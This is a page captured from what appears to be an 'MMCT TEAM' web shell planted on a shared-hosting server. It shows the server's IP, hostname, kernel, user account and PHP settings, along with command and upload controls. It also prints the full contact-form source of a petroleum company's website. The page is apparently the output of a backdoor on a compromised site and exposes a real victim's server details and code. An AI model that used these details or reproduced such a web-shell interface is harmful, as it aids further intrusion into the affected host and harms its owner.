MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.116.81.255
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/ginyardpetroleum.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/ginyardpetroleum.in/contact.php
<?php
include_once('admin/config.php');

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (isset($_POST['submit'])) {
        $name = $_POST['name'];
        $phone = $_POST['phone'];
        $email = $_POST['email'];
        $message = $_POST['message'];
        $subject = $_POST['subject'];
        if (empty($name)) {
            $errors[] = "Name field is required.";
        } elseif (!ctype_alpha($name)) {
            $errors[] = "Name can only contain alphabets.";
        }

        if (empty($email)) {
            $errors[] = "Email field is required.";
        }

        if (empty($phone)) {
            $errors[] = "Phone field is required.";
        } elseif (!preg_match('/^\d{10}$/', $phone)) {
            $errors[] = "Phone number should have exactly 10 digits.";
        }
        if (!empty($message)) {
            $message = htmlspecialchars($message); // Sanitize the message input
        }

        if (empty($errors)) {
            $query = "INSERT INTO `tbl_queries` (`name`, `phone`, `email`,`subject`, `message`) VALUES (?, ?, ?, ?, ?)";
            $stmt = mysqli_prepare($db, $query);
            mysqli_stmt_bind_param($stmt, "sssss", $name, $phone, $email, $subject, $message);
            $result = mysqli_stmt_execute($stmt);
            mysqli_stmt_close($stmt);

            if ($result) {
                echo "<script>
                    window.alert('Successfully Sent! We will contact you soon');
                    window.location.href = '$wspath' + 'contact.html';
                </script>";
            } else {
                echo "Error";
            }
        }
    }
}
?>
<!DOCTYPE html>
<html dir="ltr" lang="en">

<head>

  <!-- Meta Tags -->
  <meta name="viewport" content="width=device-width,initial-scale=1.0" />
  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
  <meta name="description" content="Industrypress - Factory & Industrial Business Template" />
  <meta name="keywords" content="building,business,construction,cleaning,transport,workshop" />
  <meta name="author" content="ThemeMascot" />

  <!-- Page Title -->
  <title>Contact | Ginyard Petroleum Pvt. Ltd.</title>

  <?php include 'top-link.php';?>
  <style>
      @media only screen and (max-width: 767px) {
    
    .cont .col-sm-6{
        width:50%;
        float:left;
    }
      }
  </style>
</head>

<body class="">
<div id="wrapper" class="clearfix">
     <!-- preloader -->
     <div id="preloader">
      <div id="spinner">
        <img class="ml-5" src="<?php echo $wspath?>images/preloaders/3.gif" alt="">
      </div>
      <div id="disable-preloader" class="btn btn-default btn-sm">Disable Preloader</div>
    </div>
<?php include 'header.php';?>

<!-- Section: inner-header -->
<section class="inner-header divider parallax layer-overlay overlay-dark-5" data-bg-img="<?php echo $wspath?>images/sl3.jpg">
      <div class="container pt-100 pb-50">
        <!-- Section Content -->
        <div class="section-content pt-100">
          <div class="row"> 
            <div class="col-md-12">
              <h3 class="title text-white">Contact</h3>
              <ol class="breadcrumb text-black mt-10">
                <li><a href="<?php echo $wspath?>">Home</a></li>
                <li class="active text-white">Contact</li>
              </ol>
            </div>
          </div>
        </div>
      </div>
    </section>
     <!-- Section: Have Any Question -->
     <section class="divider  cont">
      <div class="container pt-60 pb-60">
        <div class="section-title mb-60">
          <div class="row">
            <div class="col-md-12">
              <div class="esc-heading small-border text-center">
                <h3>We are just one click away.</h3>
                <p class="text-center">Whether it is information about our products or a business inquiry, write to us or just call.</p>
              </div>
            </div>
          </div>
        </div>
        <div class="section-content">
          <div class="row">
            <div class="col-sm-6 col-md-3">
              <div class="contact-info text-center">
                <a href="tel:<?php echo $datac["phone"];?>">
                    <i class="fa fa-phone font-36 mb-10 text-theme-colored"></i>
                <h4>Call Us</h4>
                </a>
              </div>
            </div>
            
            <div class="col-sm-6 col-md-3">
              <div class="contact-info text-center">
                <a href="mailto:<?php echo $datac["email"]; ?>">
                    <i class="fa fa-envelope font-36 mb-10 text-theme-colored"></i>
                <h4>E-mail</h4>
                
                </a>
              </div>
            </div>
            <div class="col-sm-6 col-md-3">
              <div class="contact-info text-center">
               <a target="_blank" href="https://goo.gl/maps/xTSprFoxNyZLG4jT9">
                    <i class="fa fa-map-marker font-36 mb-10 text-theme-colored"></i>
                <h4>Location</h4>
               </a>
              </div>
            </div>
              <div class="col-sm-6 col-md-3">
              <div class="contact-info text-center">
               <a target="_blank" href="https://wa.me/<?php echo $datac["whatsapp"]; ?>">
                   <i class="fa-brands fa-whatsapp font-36 mb-10 text-theme-colored"></i>
                    
                <h4>Whatsapp</h4>
               </a>
              </div>
            </div>
          </div>
        </div>
      </div>
    </section>
    
    <!-- Divider: Contact -->
    <section class="divider bg-lighter">
      <div class="container">
        <div class="row pt-30">
          <div class="col-md-7">
            <h3 class="line-bottom mt-0 mb-30">Interested in discussing?</h3>
            
            <!-- Contact Form -->
            <form action="<?php $_PHP_SELF?>" method="POST">
              <div class="row">
                <div class="col-sm-6">
                  <div class="form-group">
                    <label>Name <small>*</small></label>
                    <input name="name" class="form-control" type="text" placeholder="Enter Name" required="" name="name">
                    <?php if (isset($errors) && in_array("Name field is required.", $errors)) { ?>
                        <p class="error">Name field is required.</p>
                    <?php } elseif (isset($errors) && in_array("Name can only contain alphabets.", $errors)) { ?>
                        <p class="error">Name can only contain alphabets.</p>
                    <?php } ?>
                  </div>
                </div>
                <div class="col-sm-6">
                  <div class="form-group">
                    <label>Email <small>*</small></label>
                    <input name="email" class="form-control required email" type="email" placeholder="Enter Email">
                    <?php if (isset($errors) && in_array("Email field is required.", $errors)) { ?>
                        <p class="error">Email field is required.</p>
                    <?php } ?>
                  </div>
                </div>
              </div>
              <div class="row">
                <div class="col-sm-6">
                  <div class="form-group">
                    <label>Subject <small>*</small></label>
                    <input name="subject" class="form-control required" type="text" placeholder="Enter Subject">
                  </div>
                </div>
                <div class="col-sm-6">
                  <div class="form-group">
                    <label>Phone</label>
                    <input name="phone" class="form-control" type="text" placeholder="Enter Phone" minlength="10" maxlength="10" onkeypress="return isNumberKey(event)" pattern=".{10,10}" class="form-control" required="" onpaste="return false;" required>
                    <?php if (isset($errors) && in_array("Phone field is required.", $errors)) { ?>
                        <p class="error">Phone field is required.</p>
                    <?php } elseif (isset($errors) && in_array("Phone number should have exactly 10 digits.", $errors)) { ?>
                        <p class="error">Phone number should have exactly 10 digits.</p>
                    <?php } ?>
                  </div>
                </div>
              </div>
              <div class="form-group">
                <label>Message</label>
                <textarea name="message" class="form-control required" rows="5" placeholder="Enter Message"></textarea>
              </div>
              <div class="form-group">
                <button type="submit" name="submit" class="btn btn-dark btn-theme-colored btn-flat" data-loading-text="Please wait...">Send your message</button>
              </div>
            </form>
            <!-- Contact Form Validation-->
            <script type="text/javascript">
              $("#contact_form").validate({
                submitHandler: function(form) {
                  var form_btn = $(form).find('button[type="submit"]');
                  var form_result_div = '#form-result';
                  $(form_result_div).remove();
                  form_btn.before('<div id="form-result" class="alert alert-success" role="alert" style="display: none;"></div>');
                  var form_btn_old_msg = form_btn.html();
                  form_btn.html(form_btn.prop('disabled', true).data("loading-text"));
                  $(form).ajaxSubmit({
                    dataType:  'json',
                    success: function(data) {
                      if( data.status == 'true' ) {
                        $(form).find('.form-control').val('');
                      }
                      form_btn.prop('disabled', false).html(form_btn_old_msg);
                      $(form_result_div).html(data.message).fadeIn('slow');
                      setTimeout(function(){ $(form_result_div).fadeOut('slow') }, 6000);
                    }
                  });
                }
              });
            </script>

          </div>
          <div class="col-md-5">

            <!-- Google Map HTML Codes -->
            <div>
              <iframe src="<?php echo $datac["map_link"]; ?>" width="100%" height="450" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe> 
            </div>
            <!-- Google Map Javascript Codes -->
          
          
            
          </div>
        </div>
      </div>
    </section>
<?php include 'footer.php';?>
</div>
</body>
</html>

MMCT - 2023